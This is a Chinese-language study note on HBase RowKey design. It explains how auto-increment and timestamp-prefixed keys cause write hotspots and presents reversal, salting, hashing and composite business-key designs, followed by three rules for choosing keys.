┌─────────────────────────────────────────────────────────┐
│ 类比:字典 │
│ 字典按拼音排序,你要查"张"字,直接翻到 Z 区就行,很快 │
│ │
│ 但如果所有人的名字都叫"张伟"(RowKey 都一样), │
│ 那 Z 区就有 100 万页,其他区是空的 │
│ → 查"张伟"要翻 100 万页 → 【数据倾斜】 │
└─────────────────────────────────────────────────────────┘
❌ 坏设计 1:直接用自增 ID
RowKey = 1, 2, 3, 4, ... 1000000
→ 所有新数据都写到【最后一个 Region】
→ 那台机器累死,其他闲着 → 写热点
❌ 坏设计 2:时间戳开头
RowKey = 20260903120000_userId
→ 同一时刻的数据全挤在一起 → 同样的写热点
✅ 好设计 1:反转(打散自增 ID)
RowKey = reverse(userId) // 1000001 → 1000001 反转成 1000001
→ 尾数变成开头,自然打散
✅ 好设计 2:加盐(Salting)
RowKey = (userId.hashCode() % 10) + "_" + userId
→ 原来 1 个 key 变成 10 个,分到 10 个 Region
→ 查询时要查 10 次再合并(读的代价)
★ 适合【写多读少】
✅ 好设计 3:哈希
RowKey = MD5(userId).substring(0,8) + "_" + userId
→ 完全打散,分布均匀
→ 但失去了"按范围扫描"的能力
✅ 好设计 4:业务字段组合(最实用)
RowKey = 业务主体 + 时间倒序
例:user123_20260903120000
→ 同一个用户的数据挨在一起,查"某用户最近10条"极快
→ 用 Long.MAX_VALUE - timestamp 实现时间倒序(最新的排前面)
★ 三条铁律(背下来):
① 唯一性:RowKey 必须唯一,否则会覆盖
② 长度适中:10~100 字节最佳,太长浪费存储和内存
③ 散列性:要让数据均匀分布在各个 Region,避免热点
最后一句 术语只是“名字”,真正值钱的是它解决什么问题、以及它有什么坑。 面试时能把“为什么需要它”和“我踩过什么坑”讲出来,比背十个定义都管用。